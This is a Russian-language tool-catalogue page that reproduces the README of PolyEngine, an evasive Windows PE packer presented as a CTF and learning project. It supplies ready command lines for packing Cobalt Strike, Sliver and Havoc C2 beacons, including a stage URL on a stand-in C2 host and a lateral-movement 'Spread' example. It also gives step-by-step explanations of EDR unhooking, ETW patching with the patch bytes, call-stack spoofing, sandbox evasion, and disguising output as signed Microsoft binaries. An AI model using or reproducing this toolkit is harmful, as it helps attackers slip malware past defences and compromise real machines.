Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PolyEngine — PolyEngine — это уклоняющийся от обнаружения PE-паковщик, предназначенный для CTF-соревнований и изучения низкоуровневой безопасности Windows. Он фокусируется на обходе эвристик EDR и AV с помощью многоуровневого стека техник выполнения в памяти и обфускации. | Kitploit
Инструменты/GitHubGitHub/longwayhomie/polyengine
Генерация полезной нагрузкиЭксплуатацияОбход IDS/IPSАнализ вредоносных программCTFАнализ Бинарных ФайловОбучение и ОбразованиеRed TeamingАнти-Бот
GitHublongwayhomie/polyengine

PolyEngine

PolyEngine — это уклоняющийся от обнаружения PE-паковщик, предназначенный для CTF-соревнований и изучения низкоуровневой безопасности Windows. Он фокусируется на обходе эвристик EDR и AV с помощью многоуровневого стека техник выполнения в памяти и обфускации.

1542014 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

PolyEngine — полиморфный PE-паковщик 📦

PolyEngine — это исследовательский PE-паковщик с функциями уклонения, предназначенный для CTF-задач и обучения низкоуровневой безопасности Windows. Он сосредоточен на обходе эвристик EDR и AV с помощью многоуровневого стека методов выполнения в памяти и обфускации.

Это побочный проект, над которым я работаю уже некоторое время. Я использовал Claude Code для реализации и исправления некоторых техник, которые хотел воплотить в своём собственном PE-паковщике. В коде много комментариев о функциях и их назначении, поскольку для меня это был большой опыт обучения, и Claude справляется с этим безупречно (у меня это выходит плохо). Надеюсь, это поможет кому-то изучить внутренности Windows или обойти некоторые AV-сигнатуры и статические детекты более продвинутых решений, когда вы приступите к этим ProLabs 🏯.

🔥 Огромное спасибо MalDevAcademy за все материалы для его создания и вдохновение.

🌩 Спасибо vx-underground за вдохновение через какой-то забавный твит с глупым котом.

Отказ от ответственности: Этот инструмент предназначен исключительно для авторизованного тестирования безопасности, CTF-соревнований и образовательных целей. Использование против систем без явного разрешения запрещено. Автор не несёт ответственности за неправомерное использование.


Использование

Порядок сборки: сначала Stub, затем Builder. Stub Release|x64 создаёт stub_v0.bin..stub_v3.bin; Builder встраивает один из них в .rsrc.

Убедитесь, что stub_v0.bin..stub_v3.bin находятся в рабочем каталоге (или передайте --stub).``` Builder.exe [OPTIONS]

Target PE (.exe/.dll) or raw shellcode (.bin) Payload type is auto-detected from the MZ header - no flag needed. Output executable

Loader: --stub Loader stub PE [default: random ./stub_v0.bin..stub_v3.bin] --preset PRINT|MEDIA|NETWORK|RANDOM Module stomping DLL preset [default: PRINT] --overload Module overloading instead of stomping (NtCreateSection/NtMapViewOfSection, not in PEB LDR) --keep-alive ExitThread(0) instead of ExitProcess (required for C2 implants that spawn their own threads) --unhook Restore original .text bytes in ntdll/kernel32/ kernelbase from \KnownDlls\ clean copies (overwrites EDR inline hooks before any payload syscall)

Payload (PE/DLL only, silently ignored for shellcode): --export DLL export to invoke after DllMain --arg Argument passed to the export [max 127 chars]

Evasion (all ON by default): --spoof-name Process name for PEB spoof [default: random from pool] Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe SearchIndexer.exe taskhostw.exe spoolsv.exe wlrmdr.exe WMPDMC.exe hvix64.exe --exec-ctrl-name Semaphore name for exec-ctrl check [default: wuauctl] (max 31 chars) --sleep-fwd-ms Sleep duration for sleep-fwd check [default: 500] Detection threshold: 90% of elapsed --uptime-min Uptime threshold for uptime check [default: 2] --hammer-s API-hammer delay duration [default: 3] --disable <token,token...> Disable one or more features (comma-separated, repeatable)

OPSEC tokens: etw EtwEventWrite patch (ETW telemetry suppression) spoofing Call-stack spoofing (SilentMoonwalk RSP pivot) peb PEB path/cmdline spoof tls TLS anti-debug callback (patches loader stub before embedding)

Sandbox/debug check tokens: hammer API-hammer timing delay (VirtualAlloc/Free loop) debugger Debugger detection (PEB flags / NtQueryInformationProcess) api-emu API emulation probe (RtlComputeCrc32 identity check) exec-ctrl Execution-control semaphore (re-execution detection) sleep-fwd Sleep-forwarding detection (timing) uptime System uptime check cpu CPU count check (< 2 logical cores) screen Screen resolution check (<= 1024 px width) files Recent-files count check (< 5 RecentDocs subkeys) all Disable every token listed above

Identity spoofing: --pfx PFX certificate container to sign the output with --pfx-pass PFX passphrase [omit if PFX has no password] --ts-url RFC 3161 timestamp URL [default: no timestamping] OPSEC: timestamping reveals build IP/time to the TSA. Enable only when signing from an isolated VM, or when the signature must survive cert revocation. --clone-meta <donor.exe> Clone VERSIONINFO, icon, and Authenticode cert directory from a donor PE (e.g. notepad.exe, OneDrive.exe). Explorer "Details" tab shows donor company/product/version; file icon matches donor; "Digital Signatures" tab shows donor's signer (HashMismatch — defeats visual inspection only). Name output to match donor OriginalFilename field. When combined with --pfx: real signature overwrites cloned cert. --uac Embed a UAC elevation manifest (requireAdministrator). Output PE prompts for admin privileges on launch. Applied as Phase 10.5 (after packing, before signing).

Examples: Builder.exe implant.exe packed.exe Builder.exe implant.exe packed.exe --stub stub_v2.bin Builder.exe shellcode.bin packed.exe --keep-alive Builder.exe beacon.dll packed.exe --export Start --keep-alive Builder.exe payload.dll packed.exe --export Execute --arg "calc.exe" Builder.exe implant.exe packed.exe --preset NETWORK --disable etw,tls Builder.exe implant.exe packed.exe --overload --hammer-s 5 --uptime-min 5 Builder.exe implant.exe packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000 Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx Builder.exe implant.exe packed.exe --uac Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx

root@kitploit:~
---

## Примеры

Проработанные примеры, сгруппированные по сценариям. Каждый флаг отключается по желанию (обход включён полностью по умолчанию), поэтому самая простая команда уже использует полный набор возможностей.

<details>
<summary><b>Базовая упаковка — EXE / DLL / shellcode</b></summary>

Упакуйте неуправляемый EXE. Сборщик автоматически определяет заголовок `MZ` и направляет по пути RunPE:```
Builder.exe implant.exe packed.exe

Упакуйте сырой позиционно-независимый шеллкод (Cobalt Strike .bin, msfvenom -f raw и т. д.). Без MZ → прямой вызов в распакованный буфер:``` Builder.exe beacon.bin packed.exe

root@kitploit:~
Упакуйте DLL и вызовите только её стандартный `DllMain` (без экспорта):```
Builder.exe payload.dll packed.exe

Используйте заглушку из нестандартного расположения:``` Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin

root@kitploit:~
</details>

<details>
<summary><b>DLL-пейлоады с экспортами - Havoc / Sliver / кастомные биконы</b></summary>

Вызовите именованный экспорт после возврата из `DllMain`. Большинство C2-имплантов поставляются в виде DLL с единственным экспортом точки входа (например, Havoc Demon: `Start`, Sliver: `RunSliver`):```
Builder.exe demon.dll packed.exe --export Start --keep-alive

Передайте строковый аргумент в экспорт (максимум 127 символов). Полезно для полезных нагрузок, принимающих строку конфигурации, URL или shell-команду:``` Builder.exe runner.dll packed.exe --export Execute --arg "https://c2.example.com/stage" Builder.exe loader.dll packed.exe --export Run --arg "C:\Windows\System32\calc.exe"

root@kitploit:~
`--keep-alive` требуется для любой полезной нагрузки, которая порождает собственные потоки — без него загрузчик вызывает `ExitProcess` и убивает бикон.

</details>

<details>
<summary><b>Долгоживущие импланты (C2-биконы)</b></summary>

Cobalt Strike / Sliver / Havoc порождают поток бикона и возвращаются. Поток загрузчика должен завершиться, не останавливая процесс:```
Builder.exe beacon.exe   packed.exe --keep-alive
Builder.exe beacon.bin   packed.exe --keep-alive
Builder.exe demon.dll    packed.exe --export Start --keep-alive
Пресеты Module stomping — выбор host DLL

Заглушка расшифровщика скрыта внутри секции .text безвредной Windows DLL. Выберите пресет, чьи загруженные модули выглядят наиболее легитимно для целевого контекста:``` Builder.exe implant.exe packed.exe --preset PRINT Builder.exe implant.exe packed.exe --preset MEDIA Builder.exe implant.exe packed.exe --preset NETWORK Builder.exe implant.exe packed.exe --preset RANDOM

root@kitploit:~
`PRINT` (по умолчанию) — `xpsservices.dll`, `msi.dll`, `dbghelp.dll`. Распространены на большинстве рабочих станций.
`NETWORK` — `winhttp.dll`, `wtsapi32.dll`, `wlanapi.dll`. Подходит для полезной нагрузки, которой уже требуются сетевые API.
`RANDOM` — три случайных индекса из полного пула (включая `bcrypt.dll`, индекс 9).

Переключение с затирания через `LoadLibraryW` на перегрузку через `NtCreateSection`+`NtMapViewOfSection` (DLL никогда не попадает в `PEB.Ldr`):```
Builder.exe implant.exe packed.exe --overload
Builder.exe implant.exe packed.exe --overload --preset NETWORK
Снятие хуков EDR в пользовательском режиме

Восстановите чистые байты .text для ntdll, kernel32, kernelbase из \KnownDlls\ поверх любых инлайн-хуков EDR. HellsHall уже обходит важные хуки Nt*; параметр --unhook нужен только тогда, когда сама полезная нагрузка вызывает хукируемые Win32 API (например, LoadLibrary, CreateProcess):``` Builder.exe implant.exe packed.exe --unhook Builder.exe implant.exe packed.exe --unhook --preset NETWORK --keep-alive

root@kitploit:~
</details>

<details>
<summary><b>PEB-спуфинг — маскировка процесса</b></summary>

Переопределите автоматически выбранное имя для спуфинга. Выберите что-то, что соответствует родительскому процессу / контексту запуска (макрос Office → `RuntimeBroker.exe` выглядит странно, `WmiPrvSE.exe` вписывается лучше):```
Builder.exe implant.exe packed.exe --spoof-name SgrmBroker.exe
Builder.exe implant.exe packed.exe --spoof-name svchost.exe
Настройка порогов обхода обнаружения

Более длинная задержка молота для терпеливых песочниц, которые работают десятки секунд перед оценкой:``` Builder.exe implant.exe packed.exe --hammer-s 10

root@kitploit:~
Более высокий порог аптайма — запускать только если система работает не менее 30 минут (большинство песочниц поднимают свежую VM для каждого образца):```
Builder.exe implant.exe packed.exe --uptime-min 30

Более строгое обнаружение перемотки сна (более короткий сон, сложнее перемотать вперёд без наблюдаемой ошибки):``` Builder.exe implant.exe packed.exe --sleep-fwd-ms 200

root@kitploit:~
Пользовательское имя семафора для проверки контроля выполнения (избегает конфликта с другим образцом, использующим стандартный `wuauctl`):```
Builder.exe implant.exe packed.exe --exec-ctrl-name OneDriveSync

Соберите всё для параноидального профиля:``` Builder.exe implant.exe packed.exe --hammer-s 8 --uptime-min 15 --sleep-fwd-ms 250 --exec-ctrl-name TeamsUpdate

root@kitploit:~
</details>

<details>
<summary><b>Отключение функций для отладки / лабораторной работы</b></summary>

При работе в отладчике TLS-обратный вызов и проверки отладчика срабатывают немедленно. Отключите оба, чтобы свободно подключаться:```
Builder.exe implant.exe packed.exe --disable tls,debugger

Пропустить все проверки песочницы (функции OPSEC при этом остаются включёнными - ETW patch, PEB spoof, call-stack spoof):``` Builder.exe implant.exe packed.exe --disable hammer,debugger,api-emu,exec-ctrl,sleep-fwd,uptime,cpu,screen,files

root@kitploit:~
То же самое, короче:```
Builder.exe implant.exe packed.exe --disable all
Реалистичные комбинации

DLL-бикон Cobalt Strike, host с сетевой тематикой, полный обход средств защиты, собственное имя мьютекса:``` Builder.exe beacon.dll packed.exe --export Start --keep-alive --preset NETWORK --exec-ctrl-name MicrosoftEdgeUpdate

root@kitploit:~
Havoc Demon shellcode, перегрузка вместо затирания, увеличенная задержка hammer:```
Builder.exe demon.bin packed.exe --keep-alive --overload --hammer-s 6

Stage-2 EXE для CTF, где вы контролируете триггер и антиотладка не нужна:``` Builder.exe stage2.exe packed.exe --disable all --disable tls,debugger

root@kitploit:~
Вспомогательная DLL для латерального перемещения с аргументом пути:```
Builder.exe lateral.dll packed.exe --export Spread --arg "\\\\TARGET\\C$\\Users\\Public\\" --keep-alive --unhook

Долгосрочный имплант, замаскированный под обычный бинарный файл Microsoft, полный стек обхода защиты:``` Builder.exe beacon.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe" --keep-alive --preset NETWORK --uptime-min 10

root@kitploit:~
Упакованный образец с настоящим самоподписанным сертификатом + соответствующая идентичность VERSIONINFO:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx lab.pfx --pfx-pass test

Сборка

Только Visual Studio 2022 (MSVC v143), Release|x64. Откройте PolyEngine.sln.

Порядок сборки важен:

  1. Проект Stub (Release|x64) → MSBuild fan-out создаёт x64/Release/stub_v0.bin … stub_v3.bin (POLY_VARIANT=0..3)
  2. Проект Builder → создаёт Builder/x64/Release/Builder.exe (или OutDir решения)

Каждый stub_v*.bin — это PE с точкой входа линкера EntryPoint (без CRT). Варианты различаются порядком OPSEC-фаз и компоновкой decoy/island; HellsHall/Moonwalk остаются общими. Builder выбирает один случайным образом из текущей рабочей директории (или через --stub), запускает StubMorph, затем встраивает полезную нагрузку под ID RT_RCDATA, уникальным для каждой сборки.

MASM: Stub.vcxproj → HellsHall.asm; Builder → Engine/DecryptorStub.asm. Ни CMake, ни Makefile.

Чтобы добавить новый хэш API: вычислите Djb2HashA("ApiName") (тот же алгоритм, что в ApiHashing.cpp), добавьте глобальную переменную g_Hash_* в ApiHashing.h, инициализируйте её в ApiHashing_InitHashes().


Обзор архитектуры

Три компонента реализуют конвейер упаковка → шифрование → внедрение: Builder упаковывает входной PE/shellcode, Engine (общая библиотека) предоставляет примитивы криптографии/сжатия/мутации, Stub — исполнитель времени выполнения, встраиваемый в выходной PE.

Подробный конвейер + поток выполнения Stub``` Builder.exe ├── picks loader stub (random stub_v0..v3.bin, or --stub ) ├── reads target PE or raw shellcode (.bin) ├── LZNT1 compress ├── CompoundEncrypt (inner cipher: XOR+ROL+ADD+XOR, per-build key) ├── MutationEngine → unique polymorphic ASM decryptor per build ├── CryptGenRandom → per-build XTEA key salt + DLL preset indices ├── XTEA-CTR encrypt (outer layer) ├── BuildInfectedPE: │ ├── patch TLS guard marker (--disable tls) │ ├── patch g_PayloadResIdMarker → per-build RT_RCDATA ID │ ├── StubMorph_Apply → timestamp, section-name profile, island/tag randomize │ ├── write stub → output PE │ └── UpdateResource(RT_RCDATA, id) → [XTEA blob | 280-byte metadata] ├── (optional) UAC manifest / clone-meta / Authenticode sign └── Output.exe

Output.exe (= stub_v* variant + StubMorph + .rsrc payload) ├── Loader_InitApis — ApiHashing_InitHashes + resolve kernel32 APIs ├── Loader_LoadPayload — GetPayloadFromResource (280-byte metadata / opsecFlags) ├── Loader_Evasion — HammerDelay + RunChecks (Win32 only, before syscalls) ├── Loader_InitSyscalls — FreshyCalls SSN sort + InitNtApi (HellsHall bind) ├── Loader_OpsecPhase — order depends on POLY_VARIANT (0..3): │ Unhook / StackSpoof_Init / PatchEtw / XTEA decrypt / SpoofPeb │ (HellsHall.asm + g_Spoof* layout identical in every variant) ├── Loader_DecryptExec — ModuleStomp or ModuleOverload; decryptor RX call (RCX=payload); │ LZNT1 decompress; restore stomped .text └── Loader_RunPayload — StackSpoof_Cleanup then RunPE (PE) or RX+call (shellcode); keep-alive: ExitThread (PE) or Sleep park (raw SC)

root@kitploit:~
</details>

---

## Техники обхода

<details>
<summary><b>Варианты загрузчика — <code>stub_v0.bin</code>..<code>stub_v3.bin</code></b></summary>

Сборка Stub Release|x64 создаёт **четыре** загрузчика через MSBuild (`POLY_VARIANT=0..3`, отдельный `IntDir`). Каждый бинарный файл имеет свой порядок фаз OPSEC и индивидуальные размеры обманок/островков для каждого варианта (`PolyIslands.c`), поэтому статические хэши различаются. Общие и **никогда** не разветвляемые по вариантам: `HellsHall.asm`, раскладка данных SilentMoonwalk (`g_SpoofSyntheticStack`), теги маркеров TLS/ResID.

| Вариант | `Loader_OpsecPhase` order |
|---|---|
| V0 | Unhook → Spoof → ETW → XTEA → PEB |
| V1 | Spoof → Unhook → XTEA → PEB → ETW |
| V2 | Unhook → Spoof → PEB → XTEA → ETW |
| V3 | Spoof → ETW → Unhook → XTEA → PEB |

Сборщик без `--stub` выбирает случайным образом один из `stub_v0.bin`..`stub_v3.bin` в текущей рабочей директории (`CryptGenRandom`). `--stub <path>` принудительно выбирает один файл.

</details>

<details>
<summary><b>StubMorph на этапе упаковки</b></summary>

После применения патчей маркеров TLS/ResID и перед записью выходного PE, `StubMorph_Apply` (`Engine/StubMorph.c`) изменяет выбранный образ загрузчика на месте:

- правдоподобный `TimeDateStamp` из диапазона **[now−5y, now]** — полностью случайный DWORD может оказаться в будущем, что является эвристическим признаком
- имена секций в стиле тулчейна (MSVC / MinGW / Delphi / NSIS, выбираются для каждой сборки; пропускает `.rsrc`, `.reloc`, `.tls`, `.CRT`) — случайные 8-символьные имена вызвали бы срабатывание эвристик упаковщиков типа UPX
- очистка `IMAGE_DIRECTORY_ENTRY_DEBUG` + контрольной суммы PE (пересчитывается позже при `--pfx`)
- перезапись POLY-заполнителей островков (маркеры `50 4C 59 A0` … `AF` в `PolyIslands.c`, включая островок `g_PolyDecoy`) случайными байтами **той же длины**, затем рандомизация самих тегов-маркеров — ни паттерна `PLY`, ни фиксированного обманного содержимого не остаётся в выходном PE; без увеличения размера PE и без исправлений релокаций

Не затрагивает HellsHall, глобальные переменные спуфинга или теги-маркеры, используемые при патчинге TLS/ResID.

</details>

<details>
<summary><b>Непрямые системные вызовы — HellsHall</b></summary>

Все чувствительные NT-операции (`NtProtectVirtualMemory`, `NtAllocateVirtualMemory` и т.д.) выполняются через непрямые системные вызовы, а не через перехваченные user-mode заглушки в ntdll процесса:

1. При запуске `Syscalls_Init()` разбирает Export Directory ntdll процесса и собирает RVA каждой функции `Zw*` в плоскую таблицу.
2. SSN выводятся путём **упорядочивания по RVA** (вариант HellsGate/FreshyCalls): все RVA функций `Zw*` сортируются; индекс в отсортированном списке == SSN. Агностичен к хукам по замыслу — работает, даже если EDR-хуки переписали прологи функций, поскольку хуки не меняют порядок экспортов.
3. Трамплин `syscall; ret` (`0F 05 C3`) находится внутри секции `.text` ntdll процесса. Эта 3-байтовая последовательность — стандартный хвост каждой заглушки `Nt*`. Пользовательские inline-хуки EDR нацелены на *точку входа* экспортируемых функций `Nt*` (первые 5–15 байт) — но никогда на инструкцию syscall в конце заглушки, потому что патчинг середины заглушки нарушил бы её семантику. Поэтому байты в любом подходящем месте не изменены, идентичны чистому отображению `\KnownDlls\` и находятся в памяти MEM_IMAGE, подкреплённой `C:\Windows\System32\ntdll.dll` на диске. `g_CleanTrampoline` указывает прямо туда — никакого вторичного отображения ntdll, никакой копии MEM_PRIVATE.
4. Все системные вызовы переходят на `g_CleanTrampoline` — EDR-хуки на точках входа экспортируемых Nt* обходятся. С точки зрения ETW-обходчика стека на стороне ядра, листовой фрейм уже находится внутри `ntdll.dll` (нет IOC «неподкреплённый системный вызов»).

</details>

<details>
<summary><b>Снятие хуков в пользовательском режиме — <code>--unhook</code></b></summary>

Необязательный проход, выполняемый один раз после `Syscalls_Init()` и перед любым системным вызовом, относящимся к нагрузке. Для каждого из `ntdll`, `kernel32`, `kernelbase`:

1. `NtOpenSection(\KnownDlls\<dll>)` + `NtMapViewOfSection` — чистые байты образа (та же общая секция, из которой загрузчик изначально отображал образ, до того как EDR смог установить хуки).
2. Постраничный `memcmp` живого `.text` с чистой копией.
3. Там, где байты различаются (= inline-хук EDR): `NtProtect RX→RW`, `memcpy` чистых байтов поверх хука, `NtProtect RW→RX`.
4. Отменить отображение и закрыть.

Это восстанавливает нормальную семантику `ntdll.dll`/`kernel32.dll`/`kernelbase.dll` для любых последующих вызовов Win32 (обходы PEB, `LoadLibrary` и т.д.). Пропускается, когда `--unhook` не указан — HellsHall сам по себе уже обходит все чувствительные хуки `Nt*`, поэтому снятие хуков выполняется по выбору (это более тяжёлое действие с небольшим риском нарушить нестандартные раскладки хуков).

</details>

<details>
<summary><b>Спуфинг стека вызовов — разворот RSP SilentMoonwalk</b></summary>

EDR следят за стеком вызовов потока в момент срабатывания системного вызова, чтобы убедиться, что цепочка вызовов выглядит легитимной. PolyEngine обходит это с помощью **разворота RSP в стиле SilentMoonwalk** — без аппаратных точек останова, без VEH-обработчика, без исключений:

1. `StackSpoof_Init()` сканирует `.text` ntdll (и любые другие секции `IMAGE_SCN_MEM_EXECUTE`) в поисках двух гаджетов:
   - **Гаджет 1** — `add rsp, imm8; ret` (`48 83 C4 XX C3`) внутри функции, чья `UNWIND_INFO` объявляет соответствующий alloc delta `imm8`. Ограничено `imm8 < 0x20`, чтобы цепочка не сталкивалась с переданными стековыми аргументами.
   - **Гаджет 2** — `jmp rbx` (`FF E3`), обнаруживаемый в любой исполняемой секции сканированием сырых байтов, но принимается только если подходящее место находится внутри `RUNTIME_FUNCTION`, чья `UNWIND_INFO` корректно разбирается. `allocDelta` функции определяет, куда на синтетическом стеке помещается `RtlUserThreadStart`, поэтому гаджет без соответствующей runtime-функции сломал бы видимую для EDR цепочку. Прыжок в середину более длинной инструкции допустим — CPU декодирует `FF E3` с адреса гаджета независимо от предыдущего байта.
2. Статический `g_SpoofSyntheticStack[32]` размещается так, что `ret` трамплина проходит гаджет1 → гаджет2 → обратно в точку продолжения загрузчика, а `RtlUserThreadStart` размещается ниже как видимый корень потока.
3. Каждый вызов `HellsHallSyscall` (когда спуфинг включён) делает `push rbx; lea rbx, AfterJmpPoint; mov [g_SpoofSavedRsp], rsp; lea rsp, g_SpoofSyntheticStack; jmp r11`. Ядро видит RSP, указывающий на синтетический стек, укоренённый в легитимном коде ntdll.
4. Стековые аргументы системного вызова (5..10) передаются из кадра вызывающего на синтетический стек по смещениям `0x28..0x50` *до* разворота — без этого ядро прочитало бы адреса гаджетов как аргументы и вернуло бы `STATUS_ACCESS_VIOLATION`.
5. После системного вызова `jmp rbx` гаджета2 попадает на `AfterJmpPoint`, который восстанавливает RSP из `g_SpoofSavedRsp`, извлекает `rbx` из стека и возвращается к загрузчику.
6. `StackSpoof_Cleanup()` сбрасывает `g_SpoofEnabled`, чтобы собственные потоки нагрузки видели реальные обратные адреса.

</details>

<details>
<summary><b>Module Stomping / Module Overloading</b></summary>

Вместо `VirtualAlloc(RWX)` полиморфный расшифровщик выполняется внутри секции `.text` легитимно загруженной DLL Windows. Память RWX никогда не выделяется.

**Stomping (по умолчанию — `LoadLibraryW`, DLL появляется в PEB LDR):**

1. `ModuleStomp_Alloc()` перебирает три DLL, выбранные через `--preset`. Индексы DLL хранятся в `.rsrc` и разрешаются из `g_DllPool` во время выполнения.
2. Выбирается первая DLL с исполняемой секцией, достаточно большой для заглушки расшифровщика.
3. Исходные байты `.text` сохраняются в приватный буфер `RW` перед изменением секции.
4. В затёртую область копируется только заглушка расшифровщика. Блоб нагрузки остаётся в **отдельном** выделении `RW` (`pEncryptedPayload`).
5. `NtProtect RW → RX`: затёртая область становится исполняемой. Выделение под нагрузку остаётся `RW` — расшифровщик получает её адрес в `RCX` (первый аргумент ABI Windows x64).
6. Расшифровщик запускается, расшифровывает `pEncryptedPayload` на месте. Сразу после возврата — `NtProtect RX → RW`.
7. Область затирается, исходные байты восстанавливаются, секции возвращается `PAGE_EXECUTE_READ`.

**Overloading (`--overload` — `NtCreateSection(SEC_IMAGE)` + `NtMapViewOfSection`, НЕ в PEB LDR):**

- Тот же паттерн сохранения/восстановления и инвариант без RWX, что и у Stomping.
- DLL отображается напрямую из сырого файлового дескриптора — никогда не появляется в `PEB.Ldr`, что обходит инструменты, перечисляющие загруженные модули.
- После использования: `NtUnmapViewOfSection` отбрасывает приватные страницы COW, удаляя все следы записи.

**Результат в обоих случаях:** область памяти — `MEM_IMAGE`, подкреплённая файлом DLL на диске — сканеры памяти видят легитимное отображение образа, а не анонимную область `VirtualAlloc`.

</details>

<details>
<summary><b>Полиморфный расшифровщик — MutationEngine</b></summary>

Каждая сборка создаёт уникальную 34-байтную заглушку расшифровщика на x64 ASM, никогда не идентичную предыдущим сборкам:

- **Вставка NOP / мусора** — случайные инструкции NOP/мусор между функциональными инструкциями, выбираемые из пула из 22 элементов, охватывающего RBX/R10/R11/R12/R13 (PUSH/POP, XCHG, TEST, MOV self-copy)
- **Перестановка регистров** — функциональные регистры случайным образом переназначаются между эквивалентными наборами
- **Подстановка инструкций** — каждый шаг шифра создаётся в одном из трёх семантически эквивалентных вариантов (например, `xor al, k` / `sub al, ~k+1` / `not al; xor al, ~k`)
- **Варианты счётчика цикла** — `inc r9` рандомизируется между `inc r9`, `add r9,1`, `lea r9,[r9+1]`; сравнение меняется между `cmp rdx,r9` и `cmp r9,rdx`
- **Перестановка блоков** — 4 независимых блока инициализации (обнуление RCX/RDX/R10/R11) переставляются с помощью перемешивания Фишера-Йетса (24 возможных порядка)
- **Перестановка порядка ключа XOR** — случайный флаг `xorSwapped` меняет порядок применения внешнего ключа; шифратор и расшифровщик остаются синхронизированными через бит метаданных

Шифр CompoundEncrypt (XOR→ROL→ADD→XOR для каждого байта) чисто отображается на четырёхинструкционный шаблон расшифровщика. MutationEngine генерирует другую комбинацию вариантов для каждого шага, что делает статическое сопоставление сигнатур цикла расшифровщика неосуществимым.

</details>

<details>
<summary><b>Стек шифрования</b></summary>

| Уровень | Алгоритм | Источник ключа |
|---|---|---|
| Внешний | XTEA-CTR (128-bit) | Производная во время выполнения база XOR с солью `CryptGenRandom` для каждой сборки |
| Внутренний | CompoundEncrypt (XOR+ROL+ADD+XOR) | Составной ключ, инициализируемый `__rdtsc` для каждой сборки, встроенный в заглушку расшифровщика |

**Вывод внешнего ключа XTEA** (`Xtea_DeriveKey`): 128-битный ключ строится во время выполнения арифметическими операциями над константами иррациональных чисел (φ, √2, √3, √5, √10 в 32-битном масштабе). Все пять seed-констант, в свою очередь, разделены на `volatile` XOR-пары (`A ^ B`), поэтому в `.rdata` не появляется ни одной открытой последовательности байтов иррациональных чисел — для восстановления требуется выполнить вывод. В бинарном файле не существует непрерывного 16-байтного блоба ключа. Итоговый ключ — `derived_base XOR key_salt`, где `key_salt` — это 16 байт вывода `CryptGenRandom`, хранящихся в `.rsrc` — каждая сборка даёт уникальный поток ключа.

**Динамическая магия (без статического якоря для YARA):** блок метаданных `.rsrc` заканчивается значением `magic = key_salt[0]^key_salt[1]^key_salt[2]^key_salt[3]`. Stub находит блок, сканируя в обратном направлении и проверяя этот инвариант — не существует ни `0xDEADBEEF`, ни другой фиксированной константы, за которую могло бы зацепиться YARA-правило.

</details>

<details>
<summary><b>Анти-отладка через TLS-колбэк</b></summary>

Загрузчик Windows вызывает TLS-колбэки из `.CRT$XLB` **до того, как `AddressOfEntryPoint`** получает управление — до того, как в памяти окажется какая-либо нагрузка. В этот момент среда проверяется без единой внешней API-зависимости (только интринсики CPU и прямое чтение PEB):

| Проверка | Поле PEB / кучи | Условие обнаружения |
|---|---|---|
| BeingDebugged | `PEB+0x002` | подключён любой отладчик Win32 |
| NtGlobalFlag | `PEB+0xBC` (x64) | биты `0x70`, установленные ntdll под отладчиком |
| Heap Flags | `ProcessHeap+0x70` (x64) | значение != 2 (HEAP_GROWABLE) |
| Heap ForceFlags | `ProcessHeap+0x74` (x64) | значение != 0 |

При обнаружении: `__fastfail(FAST_FAIL_FATAL_APP_EXIT)` — обходит все обработчики исключений пользовательского режима (VEH, SEH, UnhandledExceptionFilter). WER записывает `STATUS_STACK_BUFFER_OVERRUN (c0000409)`, что неотличимо от легитимного сбоя из-за нарушения безопасности памяти.

Может быть отключено при сборке с помощью `--disable tls`. Сборщик патчит 5-байтовый маркер в заглушке загрузчика, чтобы нейтрализовать колбэк перед встраиванием.

</details>

<details>
<summary><b>Патчинг ETW</b></summary>

`Opsec_PatchEtw()` записывает 3-байтный NOP в первые байты `EtwEventWrite` в ntdll процесса:

</details>```asm
; After patch:
33 C0    xor eax, eax   ; return STATUS_SUCCESS (0)
C3       ret
Спуфинг PEB

Opsec_SpoofPeb() перезаписывает:

  • PEB.ImageBaseFileName — имя процесса, отображаемое Process Hacker и т.п.
  • PEB.ImagePathName и PEB.CommandLine — полный путь, видимый в списках процессов
  • PEB.BeingDebugged = 0, PEB.NtGlobalFlag = 0 — флаги анти-отладки
  • ProcessHeap.Flags = 2, ProcessHeap.ForceFlags = 0 — флаги отладки кучи

Имя для спуфинга задаётся через --spoof-name. Если оно не указано, Builder случайным образом выбирает из пула 9 распространённых процессов System32 (RuntimeBroker.exe, SgrmBroker.exe, WmiPrvSE.exe, SearchIndexer.exe, , , , , ) с помощью .

Песочница и проверки анти-анализа

Evasion_RunChecks() выполняется до любой инициализации системных вызовов и использует только уровень Win32 API. Проверки можно включать и отключать по отдельности через --disable.

Жёсткие проверки — один положительный результат вызывает немедленный выход:

Хеширование API — Djb2

Все имена Windows API заменяются на этапе компиляции предвычисленными хешами Djb2, хранящимися в глобальных переменных g_Hash_*. GetProcAddressH() проходит по каталогу экспорта и хеширует каждое экспортируемое имя до нахождения совпадения — ни одна строка API в открытом виде не появляется ни в таблице импорта, ни в .data.

Клонирование идентичности — `--clone-meta`

Необязательный этап после сборки (Phase 11), который копирует три косметических атрибута из PE-донора в уже собранный выходной файл. Выполняется после BuildInfectedPE (который полностью перезаписывает .rsrc — всё, что записано ранее, будет потеряно) и до SignPeWithPfx (который перезаписывает каталог сертификатов реальной подписью, если также указан --pfx).

